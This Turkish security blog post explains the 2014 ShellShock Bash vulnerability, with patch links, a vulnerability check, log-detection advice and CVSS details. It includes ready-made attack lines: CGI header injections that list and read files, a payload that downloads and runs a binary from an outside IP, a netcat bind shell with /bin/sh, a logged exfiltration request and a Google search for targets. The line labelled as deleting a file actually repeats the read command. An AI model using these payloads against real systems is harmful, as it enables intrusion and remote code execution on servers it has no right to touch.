ShellShock temel olarak nasıl çalışır…
Steve Gibson
GNU tabanlı olan ve Linux işletim sistemlerinde varsayılan olarak kullanılan, Bash komut satırı kabuğunda 24 Eylül 2014 tarhinde ciddi bir zaafiyet ortaya çıktı, Zaafiyet saldırganın bash üzerinden sistem üzerinde işlem yürütmesine izin vermekte.
Açıklık, Linux, Unix tabanlı çok sayıda sistemi etkilemekte, açıklığın ana nedeni Bash’ın ortam değişkenlerinin belirli tipdeki komutları işlemesine izin verilmesinden kaynaklı. Saldırgan ortam değişkenleri üzerinden sistemde çalışan uygulamalar üzerinden komut yürütebiliyor.
Örneğin Apache Web Server üzerindeki CGI (Common Gateway Interface) bash üzerinden derlendiği için zararlı kod; apache > cgi > bash üzerinden işlem gerçekleştirilebilmekte.
Bunun için değişkenin içerisine aşağıda belirtilen örnek parametrenin girilmesi yeterli. Şayet apache (+cgi) ve ilgili servis root olarak çalıştırılıyorsa sistem üzerinde herşeyi yapmak mümkün hale gelmektedir…
Örnek değişken atamaları;
Ortam değişkeninin çalıştığı dizini listeler (ls)
(){ :;}; echo"Content-Type: text/html", echo; echo; /bin/ls
Dosyayı okuyabilir (cat)
(){ :;}; echo"Content-Type: text/html", echo; echo; /bin/cat dosya
Dosyayı silebilir (rm)
(){ :;}; echo"Content-Type: text/html", echo; echo; /bin/cat dosya
Kısacası değişkene bash üzerindeki (servis üzerindeki) yetki ile istediğiniz komutu gönderebilirsiniz…
Önemli olan ortam değişkeni sizden bir veri alması (input…), bash’ın yamasız sürümünü kullanması, ortam değişkenlerini filtrelenmemesi…
Diğer etkilenebilir üst sistemler; httpd, SSH, dhclient,… (Bash ile ilişkili diğer sistemler.)
Ayrıca ilgili servis seviyesinde ek güvenlik önlemleri de alabilirsiniz (Firewall, IPS, WAF,…) ancak en iyi çözümün güncelleme olacağını unutmamak lazım.
Bu açıklıktan MacOS, iphone, Linux tabanlı Router, Modem, Firewall’lar, (servisler, servisler…) etkilenebilmektedir. Bu zayıflığın etkisi ve yol açacağı problemlerin üstel oranda artacağını tahmin etmek oldukça kolaydır…
Örneğin DHCP sunucusuna hizmet durdurma yapılabilir (DoS);
Örnek Perl Kodu: http://pastebin.com/S1WVzTv9
Şuan için güncelleme yayınlayan işletim sistemleri;
Debian—https://www.debian.org/security/2014/dsa-3032
Ubuntu—http://www.ubuntu.com/usn/usn-2362-1/
Red Hat—https://access.redhat.com/articles/1200223
CentOS—http://centosnow.blogspot.com/2014/09/critical-bash-updates-for-centos-5.html
Novell/SUSE— http://support.novell.com/security/cve/CVE-2014-6271.html
İşletim sisteminizi veya linux tabanlı sistemlerinizi güncellemenizi öneririz.
Sisteminizde zayıflık bulunduğunu nasıl anlarsınız?
Temel olarak sistemin bash kabuğunu kullanması ve sürümünün güncel olmaması yeterli ancak aşağıdaki komut ile anlayabilirsiniz;
# "env x='() { :;}; echo aciklik_mevcut' bash -c "echo this is a test" aciklik_mevcut hello
“aciklik_mevcut” yanıtını alıyorsanız, sisteminizde zayıflık var.
ancak aynı komutu uyguladığınızda;
bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' hello
uyarısını alıyorsanız sisteminizde ilgili zayıflık bulunmamaktadır.
Web sitenizin etkilenip etkilenmediğini hızlı bir şekilde test edebilirsiniz;
http://check.shellshock.info/ (False negatif verebilir daha detaylı inceleme öneririz…)
Ayrıca deneyimli ağ ve sistem yöneticileri ActiveScan betiğini kullabilirler;
https://github.com/ctxis/ActiveScanPlusPlus
Saldırı ve Denemeleri temel olarak nasıl anlarsınız?
İlgili servis loglarında bash değişkeni için değiştirilmiş, değişkenleri yakalayarak, örneğin apache’de;
10.0.0.15 – – [25/Sep/2014:06:28:47 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :;}; echo shellshock-test > /dev/udp/pwn.x.se/4445″
benzeri ortam değişkenine değer atayan satırları görüyorsanız…
log dosyalarınızı SIEM sisteminiz veya log inceleme yazılımı ile gözden geçirebilirsiniz.
—-
Zaafiyet ID: CVE-2014-6271
Çıkış tarihi: 24/09/2014
Etkisi;
CVSS v2 Taban Skor: 10.0 (Yüksek) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Etkilenme Alt Skor: 10.0
Exploit edilebilirlik alt skor: 10.0
Erişim Vektörü: Ağ arayüzü üzerinden (+Internet)
Erişim karmaşıklığı: Düşük
Yetkilendirme: Exploit gereksinimi yok
Etki tipi: Yetkisiz olarak bilginin ortaya çıkartılması, Yetkisiz değişiklik yapabilme, Servisin etkilenmesi (DoS…)
Etkilenen sürümler: 1.13.- 4.3 sürümleri.
Kaynak:
https://access.redhat.com/articles/1200223
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html?m=1
http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability
STANDART REFERANS: ISO 27001:2013
A.9.1.1
A.12.2.1
A.12.4.1
A.12.4.3
A.14.2.1
A.14.2.2
A.14.2.4
A.14.2.5
A.14.2.8
—- 27/09/2014
Apple’dan gelen açıklamada “OS X varsayılan ayarlar ile etkilenmediği ancak gelişmiş ayarlarda (bash ile ilgili servis ayarlarında) değişiklik yapılmış ise etkilenebileceği” ifade edilmiş,
Apple konu ile ilgili yamayı hazırladığını da eklemiş.
http://thehackernews.com/2014/09/apple-most-mac-os-x-users-not_26.html
—- 27/09/2014
Web sitenizi test etmek için bir seçenek daha, (Tarama için .cgi dosya adresini tam yazmanız gerekli) http://bashsmash.ccsir.org/
—- 27/09/2014
Shellshock / Bash Bug üzerinden botnet saldırıları kolaylıkla gerçekleştirilebilir.
Burada apache, üzerinde, cgi kullanılarak sistemde root izni olmadan çeşitli paketlerin ağ ve internet üzerine gönderilmesi yatıyor…
Bu sayede hedef sistemlere çeşitli tiplerde dağıtık hizmet durdurma saldırıları düzenlenebilir (DDoS)…
Basit bir şelikde ping’in kullanılması gibi…
target = 0.0.0.0/0 port = 80 banners = true http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) http-header = Cookie:() { :; }; ping -c 3 209.126.230.74 http-header = Host:() { :; }; ping -c 3 209.126.230.74 http-header = Referer:() { :; }; ping -c 3 209.126.230.74
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
Bununla birlikte Oracle’ın 32 adet ürününde shellshock açığının olduğu biliniyor, ancak yama henüz hazır değil (27/09/2014)
http://thehackernews.com/2014/09/Shellshock-Bash-Vulnerability-exploit.html
—-29/09/2014
Peki saldırganlar servisleri nasıl bulur?
Çok sayıda metot olmakla birlikte en kolayı google’ı kullanmak;
Örnek arama ifadesi (Bash scriptleri aramak için -sh- hazırlanan)
filetype:sh inurl:cgi-bin site:com
Erişim örnekleri;
User-Agent kullanarak perl box kurulması;
GET / HTTP/1.0 Host: [ip address] User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*
nc ile port açılması
Bunun için Apache üzerinden cgi-bin aktif olmalı ve nc’nin varsayılan olarak yüklü olması gerekli (Apache’nin root yetkisi yoksa…)
curl -k -H 'User-Agent: () { :;}; /bin/ping -c 10 IP_adresi' http://sunucu_IP/cgi-bin/script
bu komut 10 adet ICMP paketini hedef IP’ye sunucu üzerinden gönderilmesini sağlar.
curl -A '() { :; }; /bin/nc -p 3333 -l -e /bin/sh' http://sunucu_IP/cgi-bin/script
nc 3333 portu dinler,
İstemci tarafında “nc sunucu_IP 3333” komutu ile sunucuya erişim sağlanabilir!
Not: Örnekler, mülkiyeti size ait olan sistemleri test etmeniz için paylaşılmıştır. Bunun dışındaki sistemlerde kullanmanız sonucunda doğacak yasal ve teknik sorumluluk size aittir.
Kendi sistemlerinizde kullanırken sistemde neden olabilecek aksaklıkları da dikkate alarak kritik sistemlerde denememenizi öneririz.